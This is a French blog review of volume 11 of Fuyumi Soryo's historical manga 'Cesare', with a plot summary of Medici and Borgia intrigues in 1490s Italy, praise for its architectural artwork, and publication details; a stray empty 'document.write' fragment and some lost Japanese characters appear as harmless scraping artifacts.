Cesare (11)

“ C’est à l’abbaye de Fiesole que Giovanni reçoit ses insignes cardinalices avant de rejoindre Florence, document.write(“”); où une foule joyeuse brave la pluie pour venir l’acclamer. Mais Lorenzo, qui attendait pourtant ce jour avec impatience, n’assiste pas au spectacle : cloué au lit, rongé par la maladie, il observe d’un œil inquiet les agissements de son fils Piero, grisé par le succès de son cadet.”
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“L’heure est donc venue pour chacun de quitter les bancs de l’université et de suivre son propre chemin. Tandis que Cesare s’emploie à soutenir son père depuis Pise, Angelo, lui, part pour Rome afin d’assister le jeune Médicis dans ses débuts à la Curie…”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

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ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Le onzième volume (série en cours) de Cesare: Il creatore che ha distrutto (????? ?????? / Ch?zare – hakai no s?z?-sha / lit. “César [Borgia]: le créateur qui détruit”) a été prépublié en feuilleton dans le mensuel de K?dansha Morning avant d’être compilé en tank?bon (volume) en janvier 2015. La version française est parue en septembre 2015 chez Ki-oon. Pour plus de détails sur cette série, vous référez à mon commentaire sur le premier volume. L’interval entre la parution de chacun des volumes semble s’accroître. En effet, alors que jusqu’à maintenant un volume paraissait à peu près tout les ans, près de deux ans s’est écoulé entre la sortie du volume 10 au japon et la parution de ce onzième volume. Combien de temps nous faudra-t-il attendre le volume 12?

Angelo et Giovanni de Médicis arrivent à Rome. Ils passent près du Castel San Angelo [ci-contre: p. 14] (ancien mausolée d’Hadrien) puis arrivent au Vatican [ci-dessous: pp. 16-17] (qui tire son nom d’une des collines de Rome), un vaste complexe architectural qui constitue le noyau de la future Cité du Vatican et qui inclus la Basilique de Saint-Pierre (construite par Constantin), le palais apostolique, les bureaux de la curie romaine et plusieurs autres bâtiments (dont la chapelle Sixtine). La précision et le détail du dessin des éléments architecturaux est étonnant. La représentation du Vatican tel qu’il était à la fin du Quinzième siècle (donc au plus fort du Rinascimento, i.e. la Renaissance) est particulièrement intéressante (cette reconstitution est sans aucun doute inspirée par le dessin de H. W. Brewer, réalisé en 1891).


Le jeune cardinal est immédiatement reçu par le Pape Innocent VIII. On l’instruit rapidement sur les charges qu’il devra occuper au sein de la curie. Le père de Cesare, Rodrigo Borgia, invite Angelo et Giovanni à une réception à sa résidence pour célébrer leur arrivé à Rome. Il y font la rencontre de la jeune et très jolie Lucretia qui possède toute la verve et l’acerbe réparti de son frère Cesare [ci-contre: p. 50]. Angelo ne perd pas de temps et écrit régulièrement à Cesare pour l’informer de ce qui se passe à Rome.

Cesare espère que le Pape fasse de Giovanni son légat. Cela accroitrait le pouvoir des deux familles alliées, les Médicis et les Borgias, permettant à Rodrigo Borgia d’avoir assez d’influence pour être nommé pape au prochain conclave et ainsi assurer l’ordre et la paix sur toute l’Italie. Malheureusement ses espoirs sont compromis par le décès de Lorenzo de Médicis, peu de temps après qu’il ait reçu la visite de Pico della Mirandola et de Savonarole!

Giovanni, dévasté par la nouvelle de la mort de son père, veut rentrer à Florence immédiatement — ce qui pourrait compromettre sa position à Rome — mais Rodrigo le convainc de rester. Tant Catherine Sforza à Forli, que son oncle Ludovico Sforza à Milan, ou même le roi Ferrante à Naples, s’inquiètent de l’effet de cette disparition sur l’entente tripartite entre Milan, Florence, et Naples. Tout repose maintenant sur la position que prendra le successeur de Lorenzo, son fils aîné Piero. Rodrigo charge Cesare de se rendre à Florence afin de présenter ses condoléances et aussi sonder Piero sur ses desseins. Il y apprend que Piero a peu de considération pour son peuple et que l’entente tripartite n’offre que peu d’intérêt à ses yeux, puisqu’elle est trop fragile pour durer de toute façon. Il préfère délaisser Milan pour se rapprocher de Naples. Il fait le pari que le soutient des Orsini lui permettrait d’avoir le support de Giuliano della Rovere, qui n’a pourtant jamais été très amical avec les Médicis et est un ennemi des Borgias — ce qui mettrait les intérêt des Médicis en opposition à ceux des Borgias!

Giovanni est finalement nommé légat pontifical auprès de la cité de Florence. Il pourra donc retourner vivre dans sa ville natale et se recueillir sur la tombe de son père. Angelo, devenu son homme de confiance, l’accompagne. Il rencontre Miguel, qui le met au courant des dernières intrigues politiques, dont la trahison de Piero envers les Sforza et la probable dissolution de l’entente tripartite. Alors que le pape Innocent VIII est alité et mourant, Rodrigo Borgia et Della Rovere ont un sérieux accrochage au sujet de qui sera la gardien de la clé du Castel Sant’angelo. Lors d’un bal, Lucrezia démontre encore son charme et qu’elle sait l’utiliser comme une arme redoutable. Pendant ce temps, Cesare se rend à Sienne pour une fête où il espère rencontrer le fils cadet de la maison de Gonzague de Mantoue, Giovanni Gonzague, afin de tenter un rapprochement et d’obtenir le soutient de Venise. Cela compenserait peut-tre pour la perte de l’alliance avec Florence…

Enfin l’histoire de Cesare cesse d’être centrée surtout sur Pise et l’intrigue politique commence à avancer plus rapidement. À ce point-ci du récit, les dix premiers volumes nous paraissent plus comme étant un vaste prélude qui visait à introduire les personnages et on sent que le récit débute vraiment, cette fois centré sur la ville de Rome. Si c’est le cas, Cesare sera sûrement une longue série!

Comme je l’ai dit précédemment, ce manga offre une grande constance tant dans la qualité du récit que dans son excellence graphique. D’une écriture brillante, il offre une histoire captivante où l’on sent que beaucoup d’efforts sont apporté afin de présenter un portrait le plus fidèle possible de l’époque. Toutefois la qualité la plus remarquable de ce manga est le fait qu’il est superbement illustré. Le dessin est très détaillé et précis, particulièrement dans le cas des éléments décoratifs et architecturaux qui enrichissent les arrières-plans. La qualité des planches semble même s’améliorer de volume en volume. L’auteur utilise sans doute de nombreux assistants pour peaufiner son travail et les délais de parution ne cesse de s’accroître, mais le résultat est tout simplement magnifique.

Même si ce récit de la jeunesse de César Borgia comporte inévitablement beaucoup d’éléments fictifs, cela n’en demeure pas moins une lecture passionnante pour les amateurs de manga historiques. C’est une façon agréable d’en apprendre un peu sur l’histoire de la papauté et de l’Italie. Cesare est donc un manga incontournable que je recommande au plus haut point.

Cesare: Il creatore che ha distrutto, vol. 11 (Undici), par Fuyumi Soryo (supervision: Motoaki Hara; traduction: Sébastien Ludmann). Paris, Éditions Ki-oon, septembre 2015. 13 x 18 x 2 cm, 220 pg., 7,90 € / $14.95 Can. ISBN: 978-2-35592-864-2. Lecture dans le sens japonais (de droite à gauche) et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Voir aussi mes commentaires sur les volumes précédents:


CESARE © 2015 Fuyumi Soryo / Kodansha Ltd. All rights reserved.

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2 thoughts on “Cesare (11)

  1. Pingback: Index of book reviews | Clodjee's Safe-House

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